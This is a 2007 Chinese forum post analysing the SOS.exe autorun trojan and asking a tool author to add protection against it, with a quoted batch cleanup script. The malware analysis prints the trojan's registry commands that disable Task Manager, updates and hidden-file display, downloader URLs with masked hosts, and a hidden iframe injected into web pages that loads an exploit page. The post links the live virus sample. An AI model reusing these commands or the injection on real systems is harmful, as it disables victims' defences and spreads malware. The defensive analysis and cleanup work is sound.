|
|
求助：红叶在ROGUEDEAD.EXE 中加入对SOS.exe木马病毒的免疫，
原因：最近（11月中旬到今天）本县城许多电脑都感染了SOS.exe病毒。两个校园网中都有病毒，且病毒会发出ARP攻击。并复制SOS.exe到其他电脑隐藏的盘和完全共享的盘中去。我想这个病毒又会和去年的熊猫烧香一样，为害时间不短。
病毒特征：SOS.exe病毒和 熊猫烧香 有很多相似性。
1.删除系统备份文件GHO。
2。中止杀软，当然现在的杀软也太弱智了，不怪病毒。
3。修改系统时间，改为1999或2000年不定。
4。禁用“任务管理器”，“资源管理器”一打开就关闭，WINRAR程序 一打开就关闭。以致不能查看进程和隐藏文件。这点比熊猫还厉害。
5。局域网中 发出ARP攻击，这点网上好像还没人说。但我们局域网中中毒的电脑都发出ARP攻击。
6。虽然也属于auToRun.inf类的病毒，但观察发现，U盘并不是SOS传播的唯一途径，我重装系统的一些电脑并没有用过U盘，另一个途径应该是上网。
7。SOS把注册表项删除，导致你进入安全模式就蓝屏。
病毒行为：
1、程序运行后，释放文件：
%System%\Systom.exe
%System%\auToRun.inf
并在磁盘各个分区释放文件sos.exe和auToRun.inf
2、执行以下命令，修改注册表：
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WindowsUpdate" /v
DisableWindowsUpdateAccess /t REG_dword /d 00000001 /f //禁用系统自动升级
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v
DisableTaskMgr /t REG_dword /d 00000001 /f //禁用任务管理器
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\EXPlorer\Advanced" /v Hidden /t
reg_dWord /d 00000000 /f //隐藏文件
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt
/t reg_dword /d 00000001 /f //隐藏扩展名
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden
/t reg_dword /d 00000000 /f //隐藏文件
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL"
/v CheckedValue /t REG_SZ /d 0 /f //隐藏文件
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN"
/v CheckedValue /t REG_dword /d 00000002 /f //隐藏文件
3、下载文件：
http://*****/1.txt
http://*****/2.txt
http://*****/3.txt
其中1.txt内容为：
http://*****/mh.exe
http://*****/ok.exe
http://*****/Server.exe
http://*****/uc.exe
http://*****/t/servere.exe
下载以上文件并重命名为?svchs0t.exe复制到系统目录%System%下 //?为从0开始数字
其中2.txt内容为：
360安全卫士
卡巴
瑞星
麦咖啡
NOD32
木马
防火墙
专杀工具
4、监控并关闭含有“病毒、木马、检测、wpe”等字符的窗体
5、在磁盘中所有网页文件尾部插入框架代码链接网马地址：
<IfrAmE src=http://*****/index.htm width=50 height=0></IfrAmE>index.htm文件内容与网马利用漏洞
网上的一种半手动杀毒的方法：
原贴：http://hi.baidu.com/%D2%E4%C1%D6%D7%D3/blog/item/831de9c4578cfbc839db49a8.html
sos.exe是一个木马病毒，用自编一个批处理专杀工具就可以清除。sos.exe病毒在运行后将systom.exe、sos.exe、autorun.inf复制到系统目录下，可以通过U盘传染。sos.exe是：“自动运行木马下载器变种YWS（Trojan.DL.Win32.Autorun.yws）”病毒。同时sos.exe病毒在系统注册表中添加启动项实现自动启动。病毒禁用任务管理器并且隐藏病毒文件，给手工清除带来麻烦。当用户浏览被病毒修改的文件时，会自动连接到指定的网址下载其它木马程序。
把下面代码保存来.bat，运行就可以。
-sos.exe 病毒专杀批处理--
@echo off
title 忆林子
color 0a
echo.
echo 该病毒资料
echo 瑞星将该病毒定义为：Worm.Win32.DownLoad.b
echo.
echo 该病毒建立的包括的源文件如下:
echo.
echo 病毒文件全路径 大小(字节)
echo c:autorun.inf 159
echo c:sos.exe 26,624
echo c:WINDOWSsystem32Autorun.inf 159
echo c:WINDOWSsystem32Systom.exe 26,624
echo 其它所有分区:autorun.inf 159
echo 其它所有分区:sos.exe 26,624
echo.
echo autorun.inf文件里的内容
echo.
echo [AutoRun]
echo.
echo open=sos.exe
echo shellopen=打开(^&O)
echo shellopenCommand=sos.exe
echo shellopenDefault=1
echo shellexplore=资源管理器(^&X)
echo shellexploreCommand=sos.EXE
echo.
echo 该病毒的后果:
echo 你的杀毒软件会无法打开,另外你的系统时间会被修改成2000年,无法显示隐藏文件
echo 另外，该病毒会把注册表项删除，导致你进入安全模式就蓝屏。
echo 可能还有其它的情况,我这里就不详细说明了.
echo.
ECHO 注意：该病毒会将你的系统时间修改为2000年，而这个杀毒程序的会将你的时间
echo 修改为2007年，你如果是在2007年使用这个的话，系统时间就不用修改了，否则
echo 杀毒后请自己重新设置系统时间。
echo.
echo.
set /p tmp=以上是该病毒的信息，如果要清除该病毒，请回车键开始杀毒...
rem 结束病毒进程
for %%d in (sos.exe,Systom.exe,reg.exe,iexplore.exe) do (
taskkill /im %%d /f
cls
)
rem 把时间改成2007年
FOR /F "eol=; tokens=1,2,3 delims=- " %%i in ('date /t') do (
date 2007-%%j-%%k
)
rem 去除病毒源文件的 系统、隐藏、只读 属性,然后删除它们。
for %%d in (Autorun.inf,Systom.exe) do if exist "%systemroot%system32%%d" (
attrib -s -h -r "%systemroot%system32%%d"
del "%systemroot%system32%%d" /q
)
rem 添加进入安全模式的注册表项
reg add "HKLMSYSTEMControlSet001ControlSafeBootMinimal" /ve /d DiskDrive /f
reg add "HKLMSYSTEMControlSet001ControlSafeBootNetwork" /ve /d DiskDrive /f
reg add "HKLMSYSTEMControlSet003ControlSafeBootMinimal" /ve /d DiskDrive /f
reg add "HKLMSYSTEMControlSet003ControlSafeBootNetwork" /ve /d DiskDrive /f
reg add "HKLMSYSTEMCurrentControlSetControlSafeBootMinimal" /ve /d DiskDrive /f
reg add "HKLMSYSTEMCurrentControlSetControlSafeBootNetwork" /ve /d DiskDrive /f
cls
rem 解除对任务管理器的禁用
reg delete "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem" /v DisableTaskMgr /f
rem 解除禁用Windows更新程序
reg delete "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWindowsUpdate" /v DisableWindowsUpdateAccess /f
rem 添加显示隐藏文件的注册表项
reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL" /f
reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenNOHIDDEN" /v Text /d "@shell32.dll,-30501" /f
reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL" /v CheckedValue /t reg_dword /d 1 /f
reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL" /v DefaultValue /t reg_dword /d 2 /f
reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL" /v HelpID /d "shell.hlp#51105" /f
reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL" /v HKeyRoot /t reg_dword /d 2147483649 /f
reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL" /v RegPath /d "SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced" /f
reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL" /v Text /d "@shell32.dll,-30500" /f
reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL" /v Type /d "radio" /f
reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL" /v ValueName /d "Hidden" /f
reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced" /v Hidden /d 1 /f
reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced" /v HideFileExt /d 0 /f
reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced" /v ShowSuperHidden /d 1 /f
rem 删除病毒添加的启动项
for %%f in (crsss) do (
reg delete "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun" /v %%f /f
)
rem 删除其它盘根目录下的病毒文件
for %%f in (autorun.inf,sos.exe) do (
for /D %%d in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
if exist %%d:%%f (
attrib -s -h -r %%d:%%f
del %%d:%%f /q
)
)
)
rem 删除病毒在注册表中添加的关联
if exist test.忆林子 del test.忆林子
reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options">test.忆林子
for /f "tokens=* delims= skip=4" %%j in (test.忆林子) do (
reg delete "%%j" /v debugger /f
cls
if exist test.忆林子 del test.忆林子
echo.
echo 正在清除由病毒添加的注册表项,请稍候...
echo.
)
if exist test.忆林子 del test.忆林子
reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsYour Image File Name Here without a path" /v Debugger /d "ntsd -d" /f
cls
color a0
echo.
echo 病毒清除完毕，按回车键开始解决分区无法双击打开的问题.
echo.
set /p test=
cls
@echo off
title 忆林子--解决分区无法打开
color a0
rem 删除引起磁盘无法双击打开的autorun.inf文件
for /d %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do if exist %%i:autorun.inf (
cacls %%i:autorun.inf /c /e /p everyone:f
attrib -s -h -r %%i:autorun.inf
del %%i:autorun.inf /q
)
rem 进行磁盘检查，恢复双击打开功能
for /d %%i in (d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do if exist %%i: chkdsk %%i: /f /x
cls
color ec
echo.
echo 操作结束,按回车键退出该程序...
echo.
set /p temp=
:exit
exit
试了一下，这个方法还行，能清除系统中的病毒，并修复注册表。能打开任务管理器，资源管理器，WINRAR，但不能清除 中过毒的文件。
特此求助：红叶高手在ROGUEDEAD.EXE 中加入针对SOS.exe木马病毒的免疫。发一个新版的ROGUEDEAD.EXE给大家。谢谢！！！
祝红叶高手圣诞快乐！
附：SOS病毒原文件，非高手勿下！！！
后果自负
[ 本帖最后由 hzqp 于 2007-12-15 11:43 AM 编辑 ] |
-
-
SOS.rar
59.84 KB, 下载次数: 440, 下载积分: 无忧币 -2
SOS病毒原文件，非高手勿下！
|
[复制链接]
IP卡
狗仔卡
发表于 2007-12-2 09:41:47
显身卡
